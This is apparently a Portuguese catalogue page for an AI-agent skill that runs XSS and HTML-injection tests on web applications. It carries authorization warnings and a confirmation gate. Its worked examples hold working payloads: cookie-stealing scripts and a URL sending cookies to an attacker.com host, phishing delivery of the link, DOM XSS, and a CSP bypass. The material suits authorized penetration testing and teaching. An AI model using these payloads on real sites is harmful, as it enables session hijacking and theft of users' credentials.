xss-html-injection
Avalia vulnerabilidades de injeção de código (XSS, HTML) em aplicações web e demonstra como explorá-las.
O que ela faz
Esta ferramenta ajuda a verificar se sites na internet têm falhas de segurança que permitem que invasores roubem informações ou controlem a conta de um usuário. Ela simula ataques comuns para encontrar essas falhas.
Quando usar
- ✓Para testar a segurança de um site que você tem permissão para analisar.
- ✓Para aprender como falhas de segurança funcionam em um ambiente controlado.
- ✓Para verificar se as proteções de um site contra ataques estão funcionando corretamente.
Exemplo do que pedir para a IA
“Quero verificar se o site 'exemplo.com' tem falhas de XSS e injeção de HTML.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia códigos maliciosos disfarçados para o site e observa como ele reage. Se o site exibir o código ou executá-lo, ele pode ter uma falha de segurança.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill xss-html-injectionOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.
Teste de Cross-Site Scripting e Injeção de HTML
Guia Detalhado
Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.
Restrições e Salvaguardas
Limites Operacionais
- Nunca injete payloads que possam danificar sistemas de produção
- Limite a captura de cookies/sessões apenas para fins de demonstração
- Evite payloads que possam se espalhar para usuários não intencionais (comportamento de worm)
- Não exfiltre dados reais de usuários além dos requisitos do escopo
Limitações Técnicas
- A Política de Segurança de Conteúdo (CSP) pode bloquear scripts inline
- Cookies HttpOnly impedem o acesso via JavaScript
- Atributos de cookie SameSite limitam ataques cross-origin
- Frameworks modernos geralmente escapam automaticamente as saídas
Requisitos Legais e Éticos
- Autorização por escrito necessária antes do teste
- Relate vulnerabilidades XSS críticas imediatamente
- Manuseie credenciais capturadas de acordo com os acordos de proteção de dados
- Não use vulnerabilidades descobertas para acesso não autorizado
Exemplos
Exemplo 1: XSS Armazenado na Seção de Comentários
Cenário: Funcionalidade de comentário de blog vulnerável a XSS armazenado
Detecção:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observação: O comentário é renderizado e o script é executado para todos os visualizadores
Payload de Exploração:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Resultado: Todo usuário que visualiza o comentário tem seu cookie de sessão enviado para o servidor do atacante.
Exemplo 2: XSS Refletido via Parâmetro de Busca
Cenário: Página de resultados de busca reflete a consulta sem codificação
URL Vulnerável:
https://shop.example.com/search?q=test
Teste de Detecção:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
URL de Ataque Criado:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Entrega: URL enviado via e-mail de phishing para o usuário alvo.
Exemplo 3: XSS Baseado em DOM via Fragmento Hash
Cenário: JavaScript lê o hash da URL e o insere no DOM
Código Vulnerável:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
URL de Ataque:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Resultado: O script é executado inteiramente no lado do cliente; o payload nunca atinge o servidor.
Exemplo 4: Bypass de CSP via Endpoint JSONP
Cenário: O site possui CSP, mas permite CDN confiável
Cabeçalho CSP:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass: Encontre um endpoint JSONP em um domínio confiável:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Resultado: CSP contornado usando uma fonte de script permitida.
Quando Usar
Esta habilidade é aplicável para executar o fluxo de trabalho ou as ações descritas na visão geral.
Perguntas frequentes
O que é XSS?
XSS (Cross-Site Scripting) é um tipo de ataque onde um invasor insere scripts maliciosos em sites confiáveis, que são então executados no navegador de outros usuários.
O que é injeção de HTML?
Injeção de HTML é um ataque onde um invasor insere código HTML em uma página web, alterando seu conteúdo ou comportamento para fins maliciosos.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do proprietário do site antes de realizar qualquer teste. Usar esta ferramenta sem autorização é ilegal.
Detalhes
Descrição original do autor
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #4604
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC